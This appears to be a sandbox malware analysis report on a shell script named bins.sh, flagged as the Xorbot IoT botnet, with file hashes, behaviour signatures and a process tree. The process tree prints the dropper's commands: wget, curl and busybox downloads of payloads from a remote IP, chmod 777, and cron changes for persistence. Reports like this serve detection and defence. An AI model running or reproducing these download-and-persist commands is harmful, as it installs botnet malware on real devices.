Analysis
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max time kernel
149s -
max time network
148s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240508-en -
resource tags
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submitted
28/02/2025, 06:22
General
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Target
bins.sh
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Size
10KB
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MD5
74e19a07a6f06527a755064e902a5b45
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SHA1
fdbb2989f0ce113278b0df08ad6b9fdb2f9240b1
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SHA256
0c1a0ababd6c481377018db4947b0ee4d22d820106e7e8932825ef3dc27d704d
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SHA512
d25e290d64a454f44d950f75a931a00c482517dae81453675ce54d6ec589ccdaca831d2d459b9992859d94bdcbd95c9fe3d888c002311c17ca851ea2659877a3
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SSDEEP
192:UttSrhgGIWhWFWYW/W3WBViarAMMICuxTzyhfH2R9Jb7Exdvb7ExdHtTz0fH2R9/:UttSrhgGIWhWFWYW/W3WB6ICukhfH2R9
Malware Config
Signatures
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Detects Xorbot 1 IoCs
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Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
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Xorbot family
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Contacts a large (818) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Executes dropped EXE 1 IoCs
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Renames itself 1 IoCs
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
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Enumerates running processes
Discovers information about currently running processes on the system
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Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
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Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
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/bin/rm/bin/rm bins.sh2⤵
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/usr/bin/wgetwget http://37.44.238.88/bins/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb2⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://37.44.238.88/bins/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb2⤵
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://37.44.238.88/bins/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb2⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb2⤵
- File and Directory Permissions Modification
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/usr/bin/crontabcrontab -l2⤵
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/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
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/bin/rmrm rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb2⤵
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/usr/bin/wgetwget http://37.44.238.88/bins/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL2⤵
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
99KB
MD59438d9bc392bcf300a5583b6df5bc8f6
SHA1375a6ae34b516f6f3eeea8030c4084f585017efa
SHA25668e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
SHA5121f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
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Filesize
210B
MD5319f67d1e9aedd05915dbb7428310c7a
SHA15955ba71ccb0ee4f7e957a029a088c4bb2ad4c7a
SHA25688657960965de85c0ccb9fb7c5cff8bac05bb9667959f8ff12ef0429285f8d0c
SHA512c469c53d6713d7c5ad9c7d05fdf3873473270fe115c7918f7acd37a9726eb8a1c83d572c0cd17139f3d09b205c956e95079cf5e0c570e70289db315900496e97